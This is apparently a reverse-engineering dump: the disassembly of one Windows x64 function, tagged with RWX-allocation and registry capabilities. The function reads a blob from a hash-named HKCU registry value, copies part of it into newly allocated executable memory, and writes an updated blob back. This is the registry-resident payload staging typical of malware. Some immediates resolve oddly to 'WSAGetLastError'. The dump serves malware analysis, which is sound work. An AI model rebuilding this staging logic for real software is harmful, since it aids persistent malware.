Function at 0x14000a89c
Capabilities:
Allocate or change rwx memory
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xb08
mov rax, qword [0x1400221d8]
xor rax, rsp
mov qword [rsp + 0xaf8], rax
mov rax, qword [rsp + 0xb28]
movzx eax, byte [rax]
cmp eax, 0xc9
jne 0x14000a8dd
jmp 0x14000adfe
cmp dword [rsp + 0xb30], 0x65
jne 0x14000ac54
mov dword [rsp + 0x34], 3
mov dword [rsp + 0x30], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [0x14001de18]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000aa3e
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
xor r8d, r8d
mov rdx, qword [str.d33f351a4aeea5e608853d1a56661059]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [rsp + 0x30]
cmp rax, 0xa44
jbe 0x14000aa33
mov eax, dword [rsp + 0x30]
mov ecx, eax
call fcn.14000cb60
mov qword [rsp + 0xac8], rax
mov rax, qword [rsp + 0xac8]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x30]
mov qword [rsp + 0xaf0], rax
mov rdi, qword [rsp + 0x40]
xor eax, eax
mov rcx, qword [rsp + 0xaf0]
rep stosb byte [rdi], al
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x34]
xor r8d, r8d
mov rdx, qword [str.d33f351a4aeea5e608853d1a56661059]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14000aa33
lea rax, [0x140025800]
mov rdi, rax
mov rsi, qword [rsp + 0x40]
mov ecx, 0xa44
rep movsb byte [rdi], byte [rsi]
movsxd rax, dword [0x140025a08]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x140026248], rax
movsxd rax, dword [0x140025a08]
mov rcx, qword [rsp + 0x40]
add rcx, 0xa44
mov rdi, qword [0x140026248]
mov rsi, rcx
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0xb28]
inc rax
lea rcx, [0x140025a0c]
sub rcx, rax
movzx edx, word [rax]
cmp dx, word [rax + rcx]
jne 0x14000aa69
add rax, 2
test dx, dx
jne 0x14000aa53
xor eax, eax
jmp 0x14000aa6e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x14000ac42
cmp qword [0x140026248], 0
je 0x14000aaa0
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [0x140026248]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [0x140026248], 0
mov dword [rsp + 0x60], 0
mov eax, 0x767b
mov word [rsp + 0x64], ax
mov eax, 0x5f55
mov word [rsp + 0x66], ax
mov eax, 0x6a21
mov word [rsp + 0x68], ax
mov eax, 0x5757
mov word [rsp + 0x6a], ax
mov eax, 0x2e
mov word [rsp + 0x6c], ax
mov eax, 0x64
mov word [rsp + 0x6e], ax
mov eax, WSAGetLastError
mov word [rsp + 0x70], ax
mov eax, WSAGetLastError
mov word [rsp + 0x72], ax
mov eax, 0x5f
mov word [rsp + 0x74], ax
mov eax, 0x62
mov word [rsp + 0x76], ax
mov eax, 0x69
mov word [rsp + 0x78], ax
mov eax, WSAGetLastError
mov word [rsp + 0x7a], ax
xor eax, eax
mov word [rsp + 0x7c], ax
lea rax, [rsp + 0x7e]
mov rdi, rax
xor eax, eax
mov ecx, 0x1e4
rep stosb byte [rdi], al
lea rax, [rsp + 0x262]
mov rdi, rax
xor eax, eax
mov ecx, 2
rep stosb byte [rdi], al
mov dword [rsp + 0x264], 1
mov dword [rsp + 0x268], 0
lea rax, [rsp + 0x26c]
mov rdi, rax
xor eax, eax
mov ecx, 0x64
rep stosb byte [rdi], al
lea rax, [rsp + 0x2d0]
mov rdi, rax
xor eax, eax
mov ecx, 0x7d0
rep stosb byte [rdi], al
lea rax, [rsp + 0xaa0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x50], 0xa45
mov eax, dword [rsp + 0x50]
mov ecx, eax
call fcn.14000cb60
mov qword [rsp + 0xad0], rax
mov rax, qword [rsp + 0xad0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov byte [rax], 5
mov eax, dword [rsp + 0x50]
dec eax
mov eax, eax
mov rcx, qword [rsp + 0x48]
inc rcx
lea rdx, [rsp + 0x60]
mov rdi, rcx
mov rsi, rdx
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov r8d, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xb20]
call fcn.1400056d8
cmp qword [rsp + 0x48], 0
je 0x14000ac40
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xad8], rax
mov rcx, qword [rsp + 0xad8]
call fcn.14000cb68
mov qword [rsp + 0x48], 0
jmp 0x14000ac4f
mov rcx, qword [rsp + 0xb20]
call fcn.14000a848
jmp 0x14000adfe
lea rax, [0x140025800]
mov rcx, qword [rsp + 0xb28]
mov rdi, rax
lea rsi, [rcx + 1]
mov ecx, 0xa44
rep movsb byte [rdi], byte [rsi]
movsxd rax, dword [0x140025a08]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x140026248], rax
movsxd rax, dword [0x140025a08]
mov rcx, qword [rsp + 0xb28]
add rcx, 0xa45
mov rdi, qword [0x140026248]
mov rsi, rcx
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
movsxd rax, dword [0x140025a08]
add rax, 0xa44
mov dword [rsp + 0xab8], eax
movsxd rax, dword [rsp + 0xab8]
mov rcx, rax
call fcn.14000cb60
mov qword [rsp + 0xae0], rax
mov rax, qword [rsp + 0xae0]
mov qword [rsp + 0xab0], rax
cmp qword [rsp + 0xab0], 0
je 0x14000adbd
lea rax, [0x140025800]
mov rdi, qword [rsp + 0xab0]
mov rsi, rax
mov ecx, 0xa44
rep movsb byte [rdi], byte [rsi]
movsxd rax, dword [0x140025a08]
mov rcx, qword [rsp + 0xab0]
add rcx, 0xa44
mov rdi, rcx
mov rsi, qword [0x140026248]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
lea r8, [rsp + 0xac0]
lea rdx, [0x14001de30]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x14000adaf
mov rdx, qword [str.d33f351a4aeea5e608853d1a56661059]
mov rcx, qword [rsp + 0xac0]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [rsp + 0xab8]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0xab0]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rdx, qword [str.d33f351a4aeea5e608853d1a56661059]
mov rcx, qword [rsp + 0xac0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xac0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rsp + 0xab0], 0
je 0x14000adf1
mov rax, qword [rsp + 0xab0]
mov qword [rsp + 0xae8], rax
mov rcx, qword [rsp + 0xae8]
call fcn.14000d69c
mov qword [rsp + 0xab0], 0
mov rcx, qword [rsp + 0xb20]
call fcn.14000a848
mov rcx, qword [rsp + 0xaf8]
xor rcx, rsp
call fcn.14000cb80
add rsp, 0xb08
pop rdi
pop rsi
ret